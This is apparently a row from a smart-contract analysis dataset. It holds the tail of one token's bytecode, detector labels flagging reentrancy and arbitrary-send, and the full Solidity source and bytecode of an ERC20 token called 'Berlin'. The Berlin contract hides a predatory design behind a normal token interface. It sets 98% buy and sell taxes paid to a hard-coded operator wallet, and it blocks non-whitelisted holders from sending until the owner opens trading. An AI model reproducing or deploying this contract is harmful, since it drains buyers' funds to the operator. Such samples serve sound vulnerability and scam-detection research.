004016122359190612ebb565b60405180910390fd5b506000838561224d91906131e9565b9050809150509392505050565b600060085414801561226e57506000600954145b1561227857612289565b600060088190555060006009819055505b565b60008060008060008061229d876124c7565b9550955095509550955095506122fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123dc816125d7565b6123e68483612694565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612443919061305d565b60405180910390a3505050505050505050565b60026008819055506006600981905550565b600080600060065490506000670de0b6b3a7640000905061249c670de0b6b3a764000060065461215590919063ffffffff16565b8210156124ba57600654670de0b6b3a76400009350935050506124c3565b81819350935050505b9091565b60008060008060008060008060006124e48a6008546009546126ce565b92509250925060006124f46121cc565b905060008060006125078e878787612764565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c13565b905092915050565b60008082846125889190613193565b9050838110156125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c490612f3d565b60405180910390fd5b8091505092915050565b60006125e16121cc565b905060006125f882846120da90919063ffffffff16565b905061264c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126a98260065461252f90919063ffffffff16565b6006819055506126c48160075461257990919063ffffffff16565b6007819055505050565b6000806000806126fa60646126ec888a6120da90919063ffffffff16565b61215590919063ffffffff16565b905060006127246064612716888b6120da90919063ffffffff16565b61215590919063ffffffff16565b9050600061274d8261273f858c61252f90919063ffffffff16565b61252f90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061277d85896120da90919063ffffffff16565b9050600061279486896120da90919063ffffffff16565b905060006127ab87896120da90919063ffffffff16565b905060006127d4826127c6858761252f90919063ffffffff16565b61252f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128006127fb84613112565b6130ed565b9050808382526020820190508285602086028201111561281f57600080fd5b60005b8581101561284f57816128358882612859565b845260208401935060208301925050600181019050612822565b5050509392505050565b60008135905061286881613750565b92915050565b60008151905061287d81613750565b92915050565b600082601f83011261289457600080fd5b81356128a48482602086016127ed565b91505092915050565b6000813590506128bc81613767565b92915050565b6000815190506128d181613767565b92915050565b6000813590506128e68161377e565b92915050565b6000815190506128fb8161377e565b92915050565b60006020828403121561291357600080fd5b600061292184828501612859565b91505092915050565b60006020828403121561293c57600080fd5b600061294a8482850161286e565b91505092915050565b6000806040838503121561296657600080fd5b600061297485828601612859565b925050602061298585828601612859565b9150509250929050565b6000806000606084860312156129a457600080fd5b60006129b286828701612859565b93505060206129c386828701612859565b92505060406129d4868287016128d7565b9150509250925092565b600080604083850312156129f157600080fd5b60006129ff85828601612859565b9250506020612a10858286016128d7565b9150509250929050565b600060208284031215612a2c57600080fd5b600082013567ffffffffffffffff811115612a4657600080fd5b612a5284828501612883565b91505092915050565b600060208284031215612a6d57600080fd5b6000612a7b848285016128ad565b91505092915050565b600060208284031215612a9657600080fd5b6000612aa4848285016128c2565b91505092915050565b600060208284031215612abf57600080fd5b6000612acd848285016128d7565b91505092915050565b600080600060608486031215612aeb57600080fd5b6000612af9868287016128ec565b9350506020612b0a868287016128ec565b9250506040612b1b868287016128ec565b9150509250925092565b6000612b318383612b3d565b60208301905092915050565b612b46816132a8565b82525050565b612b55816132a8565b82525050565b6000612b668261314e565b612b708185613171565b9350612b7b8361313e565b8060005b83811015612bac578151612b938882612b25565b9750612b9e83613164565b925050600181019050612b7f565b5085935050505092915050565b612bc2816132ba565b82525050565b612bd1816132fd565b82525050565b6000612be282613159565b612bec8185613182565b9350612bfc81856020860161330f565b612c0581613449565b840191505092915050565b6000612c1d602383613182565b9150612c288261345a565b604082019050919050565b6000612c40602a83613182565b9150612c4b826134a9565b604082019050919050565b6000612c63602283613182565b9150612c6e826134f8565b604082019050919050565b6000612c86601b83613182565b9150612c9182613547565b602082019050919050565b6000612ca9601d83613182565b9150612cb482613570565b602082019050919050565b6000612ccc602183613182565b9150612cd782613599565b604082019050919050565b6000612cef602083613182565b9150612cfa826135e8565b602082019050919050565b6000612d12602983613182565b9150612d1d82613611565b604082019050919050565b6000612d35602583613182565b9150612d4082613660565b604082019050919050565b6000612d58602483613182565b9150612d63826136af565b604082019050919050565b6000612d7b601783613182565b9150612d86826136fe565b602082019050919050565b6000612d9e601183613182565b9150612da982613727565b602082019050919050565b612dbd816132e6565b82525050565b612dcc816132f0565b82525050565b6000602082019050612de76000830184612b4c565b92915050565b6000604082019050612e026000830185612b4c565b612e0f6020830184612b4c565b9392505050565b6000604082019050612e2b6000830185612b4c565b612e386020830184612db4565b9392505050565b600060c082019050612e546000830189612b4c565b612e616020830188612db4565b612e6e6040830187612bc8565b612e7b6060830186612bc8565b612e886080830185612b4c565b612e9560a0830184612db4565b979650505050505050565b6000602082019050612eb56000830184612bb9565b92915050565b60006020820190508181036000830152612ed58184612bd7565b905092915050565b60006020820190508181036000830152612ef681612c10565b9050919050565b60006020820190508181036000830152612f1681612c33565b9050919050565b60006020820190508181036000830152612f3681612c56565b9050919050565b60006020820190508181036000830152612f5681612c79565b9050919050565b60006020820190508181036000830152612f7681612c9c565b9050919050565b60006020820190508181036000830152612f9681612cbf565b9050919050565b60006020820190508181036000830152612fb681612ce2565b9050919050565b60006020820190508181036000830152612fd681612d05565b9050919050565b60006020820190508181036000830152612ff681612d28565b9050919050565b6000602082019050818103600083015261301681612d4b565b9050919050565b6000602082019050818103600083015261303681612d6e565b9050919050565b6000602082019050818103600083015261305681612d91565b9050919050565b60006020820190506130726000830184612db4565b92915050565b600060a08201905061308d6000830188612db4565b61309a6020830187612bc8565b81810360408301526130ac8186612b5b565b90506130bb6060830185612b4c565b6130c86080830184612db4565b9695505050505050565b60006020820190506130e76000830184612dc3565b92915050565b60006130f7613108565b90506131038282613342565b919050565b6000604051905090565b600067ffffffffffffffff82111561312d5761312c61341a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061319e826132e6565b91506131a9836132e6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131de576131dd6133bc565b5b828201905092915050565b60006131f4826132e6565b91506131ff836132e6565b92508261320f5761320e6133eb565b5b828204905092915050565b6000613225826132e6565b9150613230836132e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613269576132686133bc565b5b828202905092915050565b600061327f826132e6565b915061328a836132e6565b92508282101561329d5761329c6133bc565b5b828203905092915050565b60006132b3826132c6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613308826132e6565b9050919050565b60005b8381101561332d578082015181840152602081019050613312565b8381111561333c576000848401525b50505050565b61334b82613449565b810181811067ffffffffffffffff8211171561336a5761336961341a565b5b80604052505050565b600061337e826132e6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b1576133b06133bc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613759816132a8565b811461376457600080fd5b50565b613770816132ba565b811461377b57600080fd5b50565b613787816132e6565b811461379257600080fd5b5056fe446f6c7068696e7320546f6b656e5f542e6d652f446f6c7068696e73546f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122098b4ab3bd802a0bced7bda9f9ae52265c245fb7fac5d50f8af89dc98c2a3399064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,678 |
0x0b8B2A7e3D2b26AFfDE4D241f1A2CCe245674822
|
/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/*
Telegram: https://t.me/BerlinERC
Twitter: TBA
Website : TBA
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Berlin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Berlin";
string private constant _symbol = "Berlin";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 98;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 98;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x242BB18630330506a6087D851834f72A20f4B255);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9; //1
uint256 public _maxWalletSize = 1000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 200000000 * 10**9; //0.2
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
uint256 _totalbuy = redisFeeOnBuy + taxFeeOnBuy;
uint256 _totalsell = redisFeeOnSell + taxFeeOnSell;
require(_totalbuy <= 11);
require(_totalsell <= 11);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function removeAllLimits() external{
//Call this from opAddress wallet after renounce when you want to lift all limits
require(_msgSender() == _opAddress);
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function liftAllFees() external{
//Call this function after renounce to remove taxes, cannot be restored back
require(_msgSender() == _opAddress);
_redisFeeOnBuy = 0;
_redisFeeOnSell = 0;
_taxFeeOnBuy = 0;
_taxFeeOnSell = 0;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= 1000000000);
_maxTxAmount = maxTxAmount * 10**9 ;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= 1000000000);
_maxWalletSize = maxWalletSize * 10**9 ;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101bb5760003560e01c806374010ece116100ec578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd80146104c0578063db05e5cb146104d5578063dd62ed3e146104ea578063ea1644d51461053057600080fd5b8063a2a957bb14610450578063a9059cbb14610470578063bdd795ef1461049057600080fd5b80638f70ccf7116100c65780638f70ccf7146103fa5780638f9a55c01461041a57806395d89b41146101c757806398a5c3151461043057600080fd5b806374010ece146103a65780637d1db4a5146103c65780638da5cb5b146103dc57600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f81461033c5780636fc3eaec1461035c57806370a0823114610371578063715018a61461039157600080fd5b8063313ce567146102eb57806349bd5a5e1461030757806367f6cd8e1461032757600080fd5b806318160ddd1161019557806318160ddd1461026d57806323b872dd146102935780632f9c4569146102b35780632fd689e3146102d557600080fd5b806306fdde03146101c7578063095ea7b3146102055780631694505e1461023557600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201825260068152652132b93634b760d11b602082015290516101fc919061184f565b60405180910390f35b34801561021157600080fd5b506102256102203660046117c1565b610550565b60405190151581526020016101fc565b34801561024157600080fd5b50601354610255906001600160a01b031681565b6040516001600160a01b0390911681526020016101fc565b34801561027957600080fd5b5068056bc75e2d631000005b6040519081526020016101fc565b34801561029f57600080fd5b506102256102ae36600461174d565b610567565b3480156102bf57600080fd5b506102d36102ce36600461178d565b6105d0565b005b3480156102e157600080fd5b5061028560175481565b3480156102f757600080fd5b50604051600981526020016101fc565b34801561031357600080fd5b50601454610255906001600160a01b031681565b34801561033357600080fd5b506102d361069d565b34801561034857600080fd5b506102d36103573660046117ec565b6106d3565b34801561036857600080fd5b506102d361071b565b34801561037d57600080fd5b5061028561038c3660046116dd565b610748565b34801561039d57600080fd5b506102d361076a565b3480156103b257600080fd5b506102d36103c1366004611806565b6107de565b3480156103d257600080fd5b5061028560155481565b3480156103e857600080fd5b506000546001600160a01b0316610255565b34801561040657600080fd5b506102d36104153660046117ec565b61082d565b34801561042657600080fd5b5061028560165481565b34801561043c57600080fd5b506102d361044b366004611806565b610875565b34801561045c57600080fd5b506102d361046b36600461181e565b6108a4565b34801561047c57600080fd5b5061022561048b3660046117c1565b61091c565b34801561049c57600080fd5b506102256104ab3660046116dd565b60106020526000908152604090205460ff1681565b3480156104cc57600080fd5b506102d3610929565b3480156104e157600080fd5b506102d361095f565b3480156104f657600080fd5b50610285610505366004611715565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053c57600080fd5b506102d361054b366004611806565b610993565b600061055d3384846109e2565b5060015b92915050565b6000610574848484610b06565b6105c684336105c1856040518060600160405280602881526020016119e1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f6f565b6109e2565b5060019392505050565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016105fa906118a2565b60405180910390fd5b6001600160a01b03821660009081526010602052604090205460ff16151581151514156106725760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fa565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6012546001600160a01b0316336001600160a01b0316146106bd57600080fd5b60006008819055600a8190556009819055600b55565b6000546001600160a01b031633146106fd5760405162461bcd60e51b81526004016105fa906118a2565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073b57600080fd5b4761074581610fa9565b50565b6001600160a01b03811660009081526002602052604081205461056190610fe7565b6000546001600160a01b031633146107945760405162461bcd60e51b81526004016105fa906118a2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016105fa906118a2565b633b9aca0081101561081957600080fd5b61082781633b9aca0061197f565b60155550565b6000546001600160a01b031633146108575760405162461bcd60e51b81526004016105fa906118a2565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461089f5760405162461bcd60e51b81526004016105fa906118a2565b601755565b6000546001600160a01b031633146108ce5760405162461bcd60e51b81526004016105fa906118a2565b60006108da8386611947565b905060006108e88386611947565b9050600b8211156108f857600080fd5b600b81111561090657600080fd5b5050600893909355600a91909155600955600b55565b600061055d338484610b06565b6012546001600160a01b0316336001600160a01b03161461094957600080fd5b600061095430610748565b90506107458161106b565b6012546001600160a01b0316336001600160a01b03161461097f57600080fd5b68056bc75e2d631000006015819055601655565b6000546001600160a01b031633146109bd5760405162461bcd60e51b81526004016105fa906118a2565b633b9aca008110156109ce57600080fd5b6109dc81633b9aca0061197f565b60165550565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fa565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fa565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fa565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fa565b60008111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fa565b6000546001600160a01b03848116911614801590610c5a57506000546001600160a01b03838116911614155b15610e6257601454600160a01b900460ff16610cfe576001600160a01b03831660009081526010602052604090205460ff16610cfe5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fa565b601554811115610d505760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fa565b6014546001600160a01b03838116911614610dd55760165481610d7284610748565b610d7c9190611947565b10610dd55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fa565b6000610de030610748565b601754601554919250821015908210610df95760155491505b808015610e105750601454600160a81b900460ff16155b8015610e2a57506014546001600160a01b03868116911614155b8015610e3f5750601454600160b01b900460ff165b15610e5f57610e4d8261106b565b478015610e5d57610e5d47610fa9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610ea457506001600160a01b03831660009081526005602052604090205460ff165b80610ed657506014546001600160a01b03858116911614801590610ed657506014546001600160a01b03848116911614155b15610ee357506000610f5d565b6014546001600160a01b038581169116148015610f0e57506013546001600160a01b03848116911614155b15610f2057600854600c55600954600d555b6014546001600160a01b038481169116148015610f4b57506013546001600160a01b03858116911614155b15610f5d57600a54600c55600b54600d555b610f6984848484611210565b50505050565b60008184841115610f935760405162461bcd60e51b81526004016105fa919061184f565b506000610fa0848661199e565b95945050505050565b6012